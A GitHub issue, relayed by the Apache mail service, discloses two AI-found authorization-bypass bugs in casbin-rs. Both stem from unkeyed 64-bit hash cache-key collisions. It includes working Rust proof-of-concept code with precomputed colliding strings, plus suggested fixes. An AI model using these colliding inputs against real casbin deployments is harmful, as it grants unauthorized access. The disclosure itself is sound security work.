Eh2406 opened a new issue, #429: URL: https://github.com/apache/casbin-rs/issues/429
Hi, I am Co-Lead of the Rust Cargo Team and was recently hired by the Rust Foundation to help triage AI discovered bugs. This bug was found with AI, namely scrutineer and Fable. Except where specifically labeled this report was written by me. I am posting this as a public issue as I have not received a response to our attempts to reach out on https://security.apache.org/report-code/, by email, and on your discord. I have several reports of bugs having to do with looking up values only by a 64-bit hash. From the AI: > ## Summary > > Authorization bypass in `CachedEnforcer` is possible through collisions in its cache keys. With the non-default `cached` feature enabled, casbin-rs reduces each request tuple to an unkeyed 64-bit `DefaultHasher` value and returns the cached authorization result on digest equality without storing or comparing the original tuple. > > ## Impact > > An unauthenticated remote attacker can cause a cached allow decision to be reused for a distinct request when an embedding application exposes attacker-controlled request fields, as the official `actix-casbin-auth` middleware does for HTTP paths. A birthday search can find some colliding request pair in roughly 2^32 work, but forcing a collision for one predetermined protected resource remains a 2^64 second-preimage problem; practical impact therefore depends on the number of attacker-enumerable resources and the attacker's ability to warm the allow side of the cache. > > ## Proof of concept > > Create a new Cargo binary with this dependency: > > ```toml > [dependencies] > casbin = { version = "2.20.0", default-features = false, features = ["cached", "runtime-tokio"] } > tokio = { version = "1", features = ["macros", "rt-multi-thread"] } > ``` > > Use the following `src/main.rs`, then run `cargo run --release`: > > ```rust > use casbin::prelude::*; > use casbin::EnforceArgs; > > const GRANTED: &str = "c80525cd02b185f6"; > const DENIED: &str = "b80d2770d0241ce9"; > const MODEL: &str = r#" > [request_definition] > r = sub, obj, act > [policy_definition] > p = sub, obj, act > [policy_effect] > e = some(where (p.eft == allow)) > [matchers] > m = r.sub == p.sub && r.obj == p.obj && r.act == p.act > "#; > > #[tokio::main] > async fn main() -> Result<(), Box<dyn std::error::Error>> { > assert_eq!( > ("alice", GRANTED, "read").cache_key(), > ("alice", DENIED, "read").cache_key() > ); > > let mut plain = Enforcer::new( > DefaultModel::from_str(MODEL).await?, > MemoryAdapter::default(), > ).await?; > plain.add_policy(vec!["alice".into(), GRANTED.into(), "read".into()]).await?; > assert!(!plain.enforce(("alice", DENIED, "read"))?); > > let mut cached = CachedEnforcer::new( > DefaultModel::from_str(MODEL).await?, > MemoryAdapter::default(), > ).await?; > cached.add_policy(vec!["alice".into(), GRANTED.into(), "read".into()]).await?; > assert!(cached.enforce(("alice", GRANTED, "read"))?); > assert!(cached.enforce(("alice", DENIED, "read"))?); > println!("authorization bypass confirmed"); > Ok(()) > } > ``` > > The uncached enforcer denies the second object, while `CachedEnforcer` grants it after the colliding allowed request warms the cache. > > ## Fix suggestion > > Key the cache by the complete typed request tuple, or store the tuple alongside each `u64` bucket and compare it before returning a cached decision. This breaks the collision-to-wrong-decision link; replacing `DefaultHasher::new()` with a per-process keyed hasher alone would make offline precomputation harder but would not make collisions safe. > and > ## Summary > > Authorization bypass via role-manager cache collisions. When the non-default `cached` feature is enabled, `DefaultRoleManager::has_link` reduces `(name1, name2, domain)` to a fixed-key 64-bit `DefaultHasher` digest and stores only that digest and the Boolean decision. Distinct role queries with the same digest therefore share an authorization result without any tuple comparison. > > ## Impact > > An authenticated user who can arrange attacker-chosen subject names can reuse a precomputed collision to receive another subject's cached role decision. A cached `true` result produces an authorization bypass, while priming the same slot with `false` can deny a legitimate subject; the demonstrated collision is stable across processes because `DefaultHasher::new()` uses fixed keys. > > ## Proof of concept > > ```rust > use casbin::{DefaultRoleManager, RoleManager}; > > fn main() { > let authorized = "u85b1cd3ad675c9e1"; > let unauthorized = "ua03255daeb17d9fb"; > let mut role_manager = DefaultRoleManager::new(10); > role_manager.add_link(authorized, "admin", None); > > assert!(role_manager.has_link(authorized, "admin", None)); > let collided = role_manager.has_link(unauthorized, "admin", None); > println!("unrelated colliding tuple: {collided}"); > assert!(!collided, "authorization cache collision returned a grant"); > } > ``` > > Run it against `casbin` with `default-features = false` and `features = ["cached"]`: > > ```console > $ cargo run > unrelated colliding tuple: true > thread 'main' panicked at src/main.rs:12:5: > authorization cache collision returned a grant > ``` > > The verified end-to-end test also populated a single grouping rule for `u85b1cd3ad675c9e1`, then observed `enforce("ua03255daeb17d9fb", "secret", "read") == true` even though the second subject had no grouping rule. Reversing query order cached `false` and denied the legitimate subject. > > ## Fix suggestion > > Key the cache by the complete `(name1, name2, domain)` tuple, or store that tuple with the digest and compare it before returning a hit. A keyed digest alone is insufficient unless collision handling still preserves the complete tuple identity. Note that the full finding report also included code for generating overlapping examples, using standard birthday techniques. This can be done offline because of the use of a hassh That has no system randomness. The same key will always hash to the same value across all systems. This would be a good place to use A hasher that uses a random salt, like the one STD uses by default for Hashmap. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
